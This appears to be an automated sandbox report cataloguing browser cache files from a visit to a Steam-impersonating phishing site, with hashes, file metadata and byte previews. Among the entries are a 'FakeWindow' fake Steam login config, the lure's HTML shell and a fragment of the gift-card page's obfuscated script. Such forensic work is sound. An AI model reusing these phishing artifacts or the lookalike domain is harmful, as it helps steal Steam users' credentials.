Preview:	{"success":true,"service":"Steam","iframe":true,"timestamp":1728216502565.3164,"window":{"type":"FakeWindow","title":"Steam","url":"steamcommunity.com","path":"/login/home/?goto=","icon":"https://steamcommunity.com/favicon.ico"},"login":{},"browser":{"isDesktop":true,"isInternal":false}}

Chrome Cache Entry: 510

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1161
Entropy (8bit):	6.483902966293242
Encrypted:	false
SSDEEP:	24:2C1hkyaWwjx82lY2T3RVNxhpyJ3Vlt8vmG8ll6f7iX:HZNn2lPzoJ3PtQmBY0
MD5:	E406E5A22E4F3CFA580D3BB57420150E
SHA1:	5B381E535BB0CE6003A461F3124FA1238DFBCEDB
SHA-256:	760589F903C5E9BD169B38F941F9A3DC88A23897E9CC5B622D3D91F5C204B9E4
SHA-512:	E33CB7BD10104A1E8C2D3F2B3885D65EF3769F7250445C8341D6D2AD2367749CCDC48DAABE4EA39CB80EE0362AF9D01E48370DB858BA01F956A1A6B8C04217C1
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR................a....tEXtSoftware.Adobe ImageReadyq.e<...'iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 9.1-c001 79.1462899777, 2023/06/25-23:57:14 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop 25.1 (Windows)" xmpMM:InstanceID="xmp.iid:399EA8C592D411EE91E8F6773DB0009B" xmpMM:DocumentID="xmp.did:399EA8C692D411EE91E8F6773DB0009B"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:399EA8C392D411EE91E8F6773DB0009B" stRef:documentID="xmp.did:399EA8C492D411EE91E8F6773DB0009B"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>.d......IDATx.b..U.d``.......@...4.....0......PWU.p..Q....1\=...2I.\Fg.&3de.....BX..4 ...L...!#....... )!..7m..

Chrome Cache Entry: 511

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 15 x 13, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	291
Entropy (8bit):	6.7719789082293165
Encrypted:	false
SSDEEP:	6:6v/lhPU8WnDspP8GYUQiOTmUDJcyYWm5kvrCBVreLbp:6v/78OaGYfLDBYCrCneL1
MD5:	A2796187C58C7E948159E37D6990ECC2
SHA1:	4209CD85ADD507247F9CE5A87A8C9095B54EE417
SHA-256:	23341256DB7F44B1F3811880FA2BAE6B7748BBF6B62C544A162E38CF0D5C5082
SHA-512:	5EF103B8398507495C2708DF8FCD82BDB763B1D580AAAA6CACFB805614764277C19E8ECE5D890A8AAFC004FC8C25E3AB2E67D6FBF373C432A9A0D7C36FA0890F
Malicious:	false
Reputation:	low
URL:	https://community.cloudflare.steamstatic.com/public/shared/images/header/btn_header_installsteam_download.png?v=1
Preview:	.PNG........IHDR.............v.4A....tEXtSoftware.Adobe ImageReadyq.e<....IDATx.b...?.......9....]@.......O.G..@...?..:!..H.....T...{.i>..Y.M...ff..W..'.._P>..!..j.......&......4.'...X.@......?.5..m7..E..X.....Eh. ...P...Q ........... ...%.......y...c..@..?i...{.....HteDtom....IEND.B`.

Chrome Cache Entry: 512

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format (Version 2), TrueType, length 29104, version 0.0
Category:	downloaded
Size (bytes):	29104
Entropy (8bit):	7.993786755731096
Encrypted:	true
SSDEEP:	768:9JxwZJhcx+M+6lxBZB3TRmltuaLuNo9aOjTC:uVcEM+Ayuaco9aOHC
MD5:	38A35C7070979FB4C845DE40CADA43C5
SHA1:	B0F804F348B746449E6589B92DFF685509737DAD
SHA-256:	FCFF4301DC083AF2BE2B990BB6485E9E06CE9D2B373A7ACF8A74F61EA69D861A
SHA-512:	E7E5B167FA9187EA785BE311F43E15F33D51C20E9D07E1E15E3A761A7B6A857B2AD270E3F0E6CB0D85327BC0AA3454646A2B5E040B30EDEDE216E57CC113F089
Malicious:	false
Reputation:	low
URL:	https://sneamcomnnumnlty.com/20412b512e080052595c4240430472664c152c267957.woff2
Preview:	wOF2......q........x..qT.........................`..`......Y.....l..e.6.$.."..... ..s. ..S........@.<D.....I.....CB..j..~..?...?..G..9o.@...A.D~.>...i.-_.....N..q$.$.'Z...V...S./Q.\.PUx...<...i.7_../.y.1A...K\.M....=^......K.....5s......B...W.HQ]S..{...U...4..8....p.....tw;.v"...~.u..M.IL...s.&. ........y^7.d.A...+..a. ;.l..$$@.......p@....Q..;..X..u....;p...mm.....m.>.......q.....X..F......T.....pU..........z..U.j..DJr.a.2.w:..K..G.?.`.8..kw.C.U..Me..M5[B.t.R.S.........c..? i.......<`8..]..!..ARaS..T....J...uHaS..r..w..>.\..]..........3.B..\t..w...........!DP!C..J.#.\|.p ..8..(....C.UV..m.j....J.]...ZLw~."A@...4...&.m..}#e...:..h8.."..N ...6$.%v...n..E.X.F.D....../.g..Zoo.........6...X.#S...y5.(^.D..E..j....E.Y:t..7.0.5b,0a..3.p.#.p...8......7...;<..'...^r..\.\|.\|..~..... .@...`..B.B.E.a.'..D .HD..h..C.b.....C<.H ..$".$$...R.J.HC:.. ..d.,;<.l..C.r..G. .\|.P.B.QD..)F.%(..e...rTP.JQE...F.5...u..z4.F..D..iF.-h..m...vt.N:.E...F.=..}...~X.b...2.!.0.0F

Chrome Cache Entry: 513

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text
Category:	downloaded
Size (bytes):	725
Entropy (8bit):	5.182039645355285
Encrypted:	false
SSDEEP:	12:qTp+09T7cVn2NDUwAzc0w4EXrHFpxw46FpQqsPt9VgY4BYxGQL:0p+8YuDUwJ0bEbXxb6XaV9VgRU
MD5:	C74980571BF0C955FE079CFB5083D639
SHA1:	4FF646C0981A99727DC58B182FC4355AC3646C7E
SHA-256:	51581E4EECEB7145032FB271A24B668C3EC5161C5C8F24FFA913CB706C40079E
SHA-512:	56BAE2C868A239B2D593DF1797CAF7929DD188307B42AC269A879B017A6C22CACC2C22D9F112689D5969854D0DF54859ADFB484CF85787EA8CFEFD464CC47172
Malicious:	false
Reputation:	low
URL:	https://sneamcomnnumnlty.com/20412b512e0800525759537f09515d5b69040607
Preview:	<!doctype html>.<html lang='en'>.<head>..<meta charset='UTF-8' />..<link rel='shortcut icon' type='image/x-icon' href='https://steamcommunity.com/favicon.ico' />..<meta name='viewport' content='width=device-width, initial-scale=1.0' />..<title>Steam</title>..<script crossorigin src='https://cdn.jsdelivr.net/npm/react@18.2.0/umd/react.production.min.js'></script>..<script crossorigin src='https://cdn.jsdelivr.net/npm/react-dom@18.2.0/umd/react-dom.production.min.js'></script>. <script type="module" crossorigin src="/20412b512e08005d5856534b4b5d61510c2f242f77.js"></script>. <link rel="stylesheet" crossorigin href="/20412b512e08005d5856534b4b586444432a04296f.css">.</head>.<body>.<div id='root'></div>.</body>.</html>.

Chrome Cache Entry: 514

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 744 x 171, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	10863
Entropy (8bit):	7.893336023408476
Encrypted:	false
SSDEEP:	192:5ARjfa23tAJsqmbZEyI3ImwTHVeVUzp7C+22Z6XikPFffq0BV0FIZLKePlOoYWn4:5AfaItAJsfElI3jVwUzpC+JqNfC0wFIM
MD5:	A4E79C73EE13CB25B60FC4B0BA1F690C
SHA1:	B690C31B2EB1B0EB085E91AAAE7E79F03DEBE7C1
SHA-256:	6CB869DF089146C12EFB5E9C968E911C314842624BA6F052A11346AC734CADC8
SHA-512:	AAD423119F410A655F0AA475D2FE692087D7262C3986CE71347981C5B60F6A10031D7050BF9B9AEE4E7D84D814F0B8883C964028FCBE14ED3464602F3BA6CEC3
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR.............4.i{....sRGB.........gAMA......a.....pHYs..........o.d..).IDATx^...}U......\|.hp(..%1..H.DQ..(..H..HF..H..(.B1...hP.B1.."1..")...(."..I.".x.....:.9.......>.c....~....>..c.....7O?..sDDDDD.....QDDDDD.......S...g.Nj..........h.EDDD.F........N;.B.r..!.%.phm.9.....\DDDdr4.25..].:/..?%4...a...}.H.........]..!..qm.....\|m..]DDDdp4.24...$....R..>....{..y.""""..A.! .....C.s.....0......""""}.A.>...{Co.../,..K1._.Qt*"""r..t..r.?.z..l.`.?......tB...@^..Ctb...h...QuZ;....$.A.\..zW.cN.r..c!"._....""".....pY..C.$.'CD.?......N4..+B..1PH.CD....`DDDDZ..G.6...G.!........Bg......M4..r...".\....OB..../""".....&Dy...1..:.\.bJ......t9.....2..w"....&....H.....C..!...t0...Qu...Y(F..u._.4..C..v0.Z....."./.....:eu&%@..B....""".@LqY&.?RZ.^.I..(ty.....,....xA.^.....oCo..\|u&""".G..,.......S.KC.b...Y../.".?.i...;....SDDDf..}.\."rNz...u...:.UDDd.h......)_?....z..LDDDf..}.."r.9....].......Ht..6D..I.3.#..l.EDDd.h.....9.2_..zG..........8;..\|..9..wWg"""

Chrome Cache Entry: 515

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (15528)
Category:	downloaded
Size (bytes):	16288
Entropy (8bit):	6.027835283747254
Encrypted:	false
SSDEEP:	384:AvmQ4XVwIgjKMSUaT5vP8pFJ1f8TKhCAGn7BYCaebH/HVVkeSKBjwAHX4wjLI7yl:AvmQqwIgjKM/aT5vP8pFJ1f8TKQAGn7B
MD5:	C27E02B9E64D3A8FAFB63ACEBE7DC4FA
SHA1:	4AE0D8CAB7932D1C335008BF1C0394C560E2FDEA
SHA-256:	0B14B0A57C50AE3AA7DC2EC02313B21B401B8F6D057866FD40E58DCC42BFA1FA
SHA-512:	6E64C005B29B3D74366C4262CB024C7F72BFADA94BF4C38ECD5C75B55004084FCB3941FCF95B800FCBA95B352A1E7D06A788A75D349D35790F1B556FA062044C
Malicious:	false
Reputation:	low
URL:	https://sneamcomnnumnlty.com/jfh8893040282949023/here/put
Preview:	<!DOCTYPE html><html lang=""><head>..<meta charset="utf-8">..<meta name="viewport" content="width=device-width, initial-scale=1">..<style>. html,. body {. padding: 0;. margin: 0;. height: 100vh;. width: 100vw;. overflow: hidden;. }..</style>..<title>Redeem a Steam Gift Card or Wallet Code</title>. <meta property='og:title' content='Redeem a Steam Gift Card or Wallet Code'>. <link rel='shortcut icon' href='https://steamcommunity.com/favicon.ico' type='image/x-icon'>. <meta property='og:image' content='https://store.akamai.steamstatic.com/public/shared/images/responsive/share_steam_logo.png'>.</head>.<body>.<noscript>You need to enable JavaScript to run this app.</noscript>.<script>var dcbYO6,PIDfATz,Eexfkq1,K35AGQ,QhtqHI,ryEP78y,ULmsoR0,BopZLaM,bJSoVK,lYOAmun,fm58XCn,t2DN9b,q0ebwrW,lx3dBOJ;function oxeEbI(PIDfATz){return dcbYO6[PIDfATz<0x3d?PIDfATz-0xe:PIDfATz<0x62?PIDfATz>0x62?PIDfATz+0x44:PIDfATz<0x3d?PIDfATz-0x63:PIDfATz>

Chrome Cache Entry: 516

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	1430
Entropy (8bit):	6.915444207165524
Encrypted:	false
SSDEEP:	24:2C1hkyaWwjx82lY2T3RVag7yJ3VR7GmXF54+mC8yq8/23CMwMIE+b8Dllc:HZNn2lpWJ3nnwDNmlPbUI
MD5:	AFC159FE5F0F26FA7282505DA9887CC3
SHA1:	C1CD55380C2AF435876989F94E8B0715042C2ADE
SHA-256:	4BE942A34871DD6F8F14B43D27C31B049BE7F6544C05685D4F35ABDD329DE176
SHA-512:	8F7DCB7E99CEED8F86575A05FF7D329EE2FC67CD18C6D53B2833A6AA1EEDE2586D57688F27901D941D2B6351412957468CCE5CA69101D86911390BF04FD82763
Malicious:	false
Reputation:	low
URL:	https://store.akamai.steamstatic.com/public/images/ico/ico_twitter.png
Preview:	.PNG........IHDR................a....tEXtSoftware.Adobe ImageReadyq.e<...'iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 9.1-c001 79.1462899777, 2023/06/25-23:57:14 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop 25.1 (Windows)" xmpMM:InstanceID="xmp.iid:6E745BD792D411EE8F80E4F5B5148EC9" xmpMM:DocumentID="xmp.did:6E745BD892D411EE8F80E4F5B5148EC9"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:6E745BD592D411EE8F80E4F5B5148EC9" stRef:documentID="xmp.did:6E745BD692D411EE8F80E4F5B5148EC9"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>{KL.....IDATx.b..U.d``.......@...4.....0.4.9...[`...e.5U...6V..G..d.....I2.].......?y.............^./....&.....

Chrome Cache Entry: 517

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with CRLF, LF line terminators
Category:	downloaded
Size (bytes):	33738
Entropy (8bit):	5.263546738678096
Encrypted:	false
SSDEEP:	768:1rv31+3R8zIF/3doix2R1pW81qWZRhcJGMJhpJfS2:FpP1vZRxGzS2
MD5:	0ABAE40EE6CFA8B72ABFB79829D53400
SHA1:	E87D3AA5EBFEAC3D486FB3D9913A81BE19AF3762
SHA-256:	C54F7E964FABEFC31C2DF4864777DB262E62C3236A293FBD075DEAF1D538C2ED
SHA-512:	A347D51254A5BA555F5CFCFFAAEB40F687C549B8E2C76EAF98F4E4522A8F5AE5A358F10119608C2657E30176D4675FD11C2670DD3F923BD788F8D30CA45A5575
Malicious:	false
Reputation:	low
URL:	https://store.akamai.steamstatic.com/public/shared/css/buttons.css?v=CrrkDubPqLcq&l=english
Preview:	.btn_green_white_innerfade {...border-radius: 2px;...border: none;...padding: 1px;...display: inline-block;...cursor: pointer;...text-decoration: none !important;...color: #D2E885 !important;........background: #a4d007;.....background: -webkit-linear-gradient( top, #a4d007 5%, #536904 95%);..background: linear-gradient( to bottom, #a4d007 5%, #536904 95%);..}......btn_green_white_innerfade > span {....border-radius: 2px;....display: block;...........background: #799905;.....background: -webkit-linear-gradient( top, #799905 5%, #536904 95%);..background: linear-gradient( to bottom, #799905 5%, #536904 95%);....}.....btn_green_white_innerfade:not(.btn_disabled):not(:disabled):not(.btn_active):not(.active):hover {...text-decoration: none !important;...color: #fff !important;........background: #b6d908;.....background: -webkit-linear-gradient( top, #b6d908 5%, #80a006 95%);..background: linear-gradient( to bottom, #b6d908 5%, #80a006 95%);..}......btn_green_white_innerfade:not(.btn_disable

Chrome Cache Entry: 518

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPCM), density 38x38, segment length 16, baseline, precision 8, 32x32, components 3
Category:	dropped
Size (bytes):	1226
Entropy (8bit):	7.468952690767969
Encrypted:	false
SSDEEP:	24:O8zo0XxDuLHeOWXG4OZ7DAJuLHenX39ASwh6NFqsPq6qOcqiZcErExA:guERApjlcqiBrOA
MD5:	36C0E361B48289C116C417C67FCBA680
SHA1:	609F27278AA70697C13BF99F32C5A0248C381F9D
SHA-256:	3FB721D4F89AD130676CD39B48D40C66D2CF051D114606556D5334D74C3621E3
SHA-512:	362CA67D9555A05780A0BF4E8D33EC002656EF4538D2630AC52FCA104E478C759645F1201ECB0FD33D25094A351614286B7A43D242F0AADE48171651C4A133BC
Malicious:	false
Reputation:	low
Preview:	......JFIF.....&.&.....C....................................................................C....................................................................... . ...............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.......o....j....IfHc.\ov.8...R.j.b..+z.E\|!..<7.[......W...f.<e...M......z-JWl..W....x.LS.i..v..rIgz..I.PO.Yk%.o..n\|5.{...o.CN.\Z.......N...YN.!..u.....h......m4K.I.i...E......o..E.r.8..[....9cM{IToW.......\|g..k.%.!...;..9.....F..m.(.9'....uA.....>9.....a.4....v!S....p..W2.cF.x..!..;.<U<..xm.......Lg.Y..t.+x..2.._.CI......vVKm..9v....gf'.>.....C

Chrome Cache Entry: 519

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 16 x 16
Category:	dropped
Size (bytes):	1429
Entropy (8bit):	7.114906411921738
Encrypted:	false
SSDEEP:	24:g9XPYOEocal1hQWwjx82lY2T3+VLHnmbHn4yJ3VZHnLRHn5GY82Df9wIyvcyPO:g9fsIzNn2KhHWHbJ3XHlH5L823yPO
MD5:	1658BD9BCE49908BAC30F075D520DFBC
SHA1:	1174BCC3DA90B32BCD21B75AF923F2C869CEE552
SHA-256:	96A49A32967F0A65E3131A3AA1D493425C15325787448300F64B138D6710F51C
SHA-512:	DD44D33A623F538E27183A7F689B9E97F1E1D85D9A6C09A09532FB6A9D61D13C31FC3B3F2220788092E8FB6E629D4756564C8B8D7EFCD6C430EEC98F592342D3
Malicious:	false
Reputation:	low
Preview:	GIF89a.............UV\........hin...RTZRSY.........egl...FGN.....;<C......\]crsxTV\;=D?AH68??@G.....ikpY[a............8:A......BDJ......abh...YZ`...sty...LNTMOU......>@FKMS...SU[79@BDKACI57>.........!..XMP DataXMP<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 9.1-c001 79.a8d475349, 2023/03/23-13:05:45 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop 24.7 (Windows)" xmpMM:InstanceID="xmp.iid:A00F86217F2E11EE954AD5AEB68850C4" xmpMM:DocumentID="xmp.did:A00F86227F2E11EE954AD5AEB68850C4"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:A00F861F7F2E11EE954AD5AEB68850C4" stRef:documentID="xmp.did:A00F86207F2E11EE954AD5AEB68850C4"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r

Chrome Cache Entry: 520

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 244 x 212, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	3777
Entropy (8bit):	7.855078020337897
Encrypted:	false
SSDEEP:	96:W5Zsk8bb6l5qnCoghGfkm37QP00rqGDXrg/sG3vUx+Iocg2fkjGfkjky:W5H8o5qe0Mu7600WiXE/v3ve+Is2MjGm
MD5:	EABC76EB57FEAE44ADD7FAEAD028521E
SHA1:	4E3E53938FAD15661D2D046A868338841A95DB19
SHA-256:	FC9E6260A2706AE146282D77E67BC1B74688435F8912AB4C1932641EEC28BFFA
SHA-512:	5C6DA6EEEFDDF321C2BC7E39A134E0A3140A9F93AD1560B2E102EF60EC218C29AAE14ED344C79E25CC5493CD15551040D8C909DE28DCAB02034D787563104E07
Malicious:	false
Reputation:	low
URL:	https://store.akamai.steamstatic.com/public/shared/images/responsive/header_menu_hamburger.png
Preview:	.PNG........IHDR.....................tEXtSoftware.Adobe ImageReadyq.e<...cIDATx..._LTg...w.i........Vmk.6X....i..F..{...^..^4Mz..6ml..nb ]....e.a....v..)...a.E.).#..>.0.3g.Kww8/..'y.g........sf.....W.2.... ...4....@......@...h... ...4....@. ....@...h... ...4....@. ....@...h......2....P^^...sVEE....r..={f.K....I...F#R...g..vN..k...%.Oj..6...h.:"...0......K.E..G..."..@.x..w.*...'."_..A...L.r....I..W........^H...Q...:;..h4j.z..8..,..a/...w.Fm.Meg.C.a.\|..w.....u.`.zM.U.=....4e...=.U.....[.h.z..j...Te.a..z...+RUR.8.N.u.INN..o?a........E...o}.#...._....Oc..=.Orr.&.!;;[=..3..q.....?H...0{.S._m.B..(.6.Rm.)...]..%....3..c..Dk.M..z.%.c..NTd...}..90..tj.v.#.L..M.t.uc.<>..3..;..:..G..9..I.....%.@.`..d....@...h.@. ...4`6...M.@'.n......I/z`5>>.K...X7Z.Z.....5.7..h+.N.h....gS...8...........@..Njj.}....'...{`...'T{....mmm'.t2....?V..=C.......=b......`\|s.@'zC.N......."..>k...M......)...}....?.r...+z.x....JTII.....4.O_....s..?>W..?.O.....`...t{...r..Z

Chrome Cache Entry: 521

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, Exif standard: [TIFF image data, little-endian, direntries=0], baseline, precision 8, 1920x1080, components 3
Category:	dropped
Size (bytes):	92049
Entropy (8bit):	7.833506435724907
Encrypted:	false
SSDEEP:	1536:R24zCBvVqwF8OzEG3d7dxlTTIF6Nc2NlMiHmEoUf7o+k:R24zCBv0a8Oz/fxlnI0Nc49J7+
MD5:	A619DDF8D8598313211A177600D8BC06
SHA1:	960EBDB7D3F11736639C052022B89E6870026BB1
SHA-256:	A144AE84E911D90434FEF229F60FD93FA5DF05397484D56F07AD6247C7CA79ED
SHA-512:	78A04B787D67B83C8C1BC30273E7F15D6BE7AAA6B797A81497B49658F4B511F7E05E92F15DD27489256986C7B573352D41CB5DC37877583A6BCEB7A742B305A3
Malicious:	false
Reputation:	low
Preview:	......Exif..II.................Ducky.......<......Adobe.d.................................................................................................................................................8........................................................................................!.1.A.".Q.a2.B#q..3Rb$........................!..1.AQ"..a2B#.............?..w:2...................................u...h....u.}@ ...0.......[..M)..p.....^.0.7P2@..<.H.>@........^@w.?.d.....@.p.w.....y.\..]:......`..%.&...>.....h...{.\|.....O[4Q ]....k..Rg..y....p..jR'..<.\....AS..)..i#..Ps..7UF...d.6...SRb.O..mr.;.R:.......X_.._.sU\}..R..:cC....S...{x%..=.z..yG.[t.S.5.O._.=3.H..\|:r.+..7%b.zt+Nc.\c...\|.&.K..-.qz..\...O.+u...3.>./.....5...D.........H.$.&ER@0..o..gW.u.8'N=...N.Y...g.x...PR................>......>.1...W...C\....a..2...%TA...=oWd...ur..Z......&_...m..?.....O.....Fly.D.D6.r....OK&....H.b...Z...)A.........]Z.U.4VL.&YS../.0p......p......4.....)....*B.a.3b.A8....V.

Chrome Cache Entry: 522

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (945)
Category:	downloaded
Size (bytes):	131882
Entropy (8bit):	5.376896897488642
Encrypted:	false
SSDEEP:	1536:XtTqru1xouE1ZTnPrMiY6WRdA2qZpXnBnK3xsVdFE7zptEvp62kdS6F:JmuWl7ndK3xsVdKEd56F
MD5:	64141792105EA4861F9F33294D65AB81
SHA1:	506D9100CAA070005A890BD496DE64C437D6D008
SHA-256:	21758ED084CD0E37E735722EE4F3957EA960628A29DFA6C3CE1A1D47A2D6E4F7
SHA-512:	30E0A9AA84688AC093C09F2F41089C899BF4A9CA5138289D7A4DC64C54BA293936FB2EE6BA724894A09590509863EA7712B6055C28E61639DF4D34520B538759
Malicious:	false
Reputation:	low
URL:	https://cdn.jsdelivr.net/npm/react-dom@18.2.0/umd/react-dom.production.min.js
Preview:	/*. @license React. * react-dom.production.min.js. . Copyright (c) Facebook, Inc. and its affiliates.. . This source code is licensed under the MIT license found in the. * LICENSE file in the root directory of this source tree.. /.(function(){/. Modernizr 3.0.0pre (Custom Build) \| MIT.*/.'use strict';(function(Q,mb){"object"===typeof exports&&"undefined"!==typeof module?mb(exports,require("react")):"function"===typeof define&&define.amd?define(["exports","react"],mb):(Q=Q\|\|self,mb(Q.ReactDOM={},Q.React))})(this,function(Q,mb){function n(a){for(var b="https://reactjs.org/docs/error-decoder.html?invariant="+a,c=1;c<arguments.length;c++)b+="&args[]="+encodeURIComponent(arguments[c]);return"Minified React error #"+a+"; visit "+b+" for the full message or use the non-minified dev environment for full errors and additional helpful warnings."}.function nb(a,b){Ab(a,b);Ab(a+"Capture",b)}function Ab(a,b){$b[a]=b;for(a=0;a<b.length;a++)cg.add(b[a])}function cj(a){if(Zd.call(dg,a))retu

Chrome Cache Entry: 523

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (28021), with CRLF, LF line terminators
Category:	downloaded
Size (bytes):	299124
Entropy (8bit):	5.906543624262357
Encrypted:	false
SSDEEP:	6144:N4Ga79zYy//wW+z0/wWaiJ/wWX/71oRyvC:da79f+9
MD5:	88F72E2D4C5CB2DA4C810E9E6ABF3FEF
SHA1:	08BFAA9D07A37DC0D318F7E98BA831D4681C7E04
SHA-256:	113F338A0FF68822CB3297117D8E0B42EDA62387B6140F1C1D52004A1FDAEA73
SHA-512:	89D69FEC0C4FF4FDC3C60D1557B4BBC4375C8E22C13A1CD22F818D41A6F10914F346226E9A6ABDA0973547BF92475120A86560E6866990D614082788594FB7C4
Malicious:	false
Reputation:	low
URL:	https://store.akamai.steamstatic.com/public/css/applications/store/main.css?v=iPcuLUxcstpM&l=english
Preview:	...........html body.events_hub.v6{background-color:#171a21;font-family:"Motiva Sans",Arial,Helvetica,sans-serif}@media screen and (max-width: 400px){html body.events_hub.v6{scrollbar-width:none;-ms-overflow-style:none}html body.events_hub.v6::-webkit-scrollbar{display:none}}html body.events_hub.v6 #global_header{position:fixed;z-index:12;width:100%;box-sizing:border-box;transition:transform .15s ease-in-out}html body.events_hub.v6 .responsive_header{box-shadow:none;transition:transform .15s ease-in-out}html body.events_hub.v6 .responsive_page_template_content{padding-bottom:0}html body.events_hub.v6 ._2uHYtSBLSS1MxFonkOXr0O{flex:1;display:flex;flex-direction:column;min-height:0}html body.events_hub.v6 .perf_timing_area{position:absolute;bottom:0}body.rewards ._2uHYtSBLSS1MxFonkOXr0O{flex:1;display:flex;flex-direction:column;min-height:0}..._3Knd7Am6tTwTTu605YN4IX{position:fixed;top:0;bottom:0;right:0;left:0;z-index:1599}._1S6CCCQlcTTAAHh3LMTLh1:focus{outline:none}.GreenEnvelopeMenu,.P

Chrome Cache Entry: 524

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 176 x 50, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	2584
Entropy (8bit):	7.591818812076699
Encrypted:	false
SSDEEP:	48:4wqQNn2xoJ35l3QWpQSufhbTCFV0Q0jkIPIH+UCKPnaqiLruSd+1w:oY2ml31ZCdqWQMkADnK41d+1w
MD5:	86A9CCC0B872F22006A48BC6C2500F4E
SHA1:	0EDCCF2CBC869816135C6FF4C3EEE0C49D0F41C1
SHA-256:	D8BBE461137D50211568449468A1981EF189248200EADD48C3141A9DF0B8F7FC
SHA-512:	43EBD681FE137718E45153B9CE062CE9426AC57D6CE907BD3B1C7709BF6F6D2AB4B49E22F2DC4F203DEDF860A895A4B58F4A01095E97722CE5F27935038F0B56
Malicious:	false
Reputation:	low
URL:	https://help.steampowered.com/public/images/footerLogo_valve_new.png
Preview:	.PNG........IHDR.......2.......Q.....tEXtSoftware.Adobe ImageReadyq.e<..."iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.3-c011 66.145661, 2012/02/06-14:56:27 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CS6 (Windows)" xmpMM:InstanceID="xmp.iid:595356BA543311EAAC5FF1C3D4DCAF18" xmpMM:DocumentID="xmp.did:595356BB543311EAAC5FF1C3D4DCAF18"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:595356B8543311EAAC5FF1C3D4DCAF18" stRef:documentID="xmp.did:595356B9543311EAAC5FF1C3D4DCAF18"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>tU......IDATx..][l.E.....Q(.....11.VTL."....cb.1../.`x.x...&..F}P.....$*........J..5^Z5..@Kc...3...?{f.....%_...f.

Chrome Cache Entry: 525

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (64431)
Category:	dropped
Size (bytes):	170681
Entropy (8bit):	5.649685917515725
Encrypted:	false
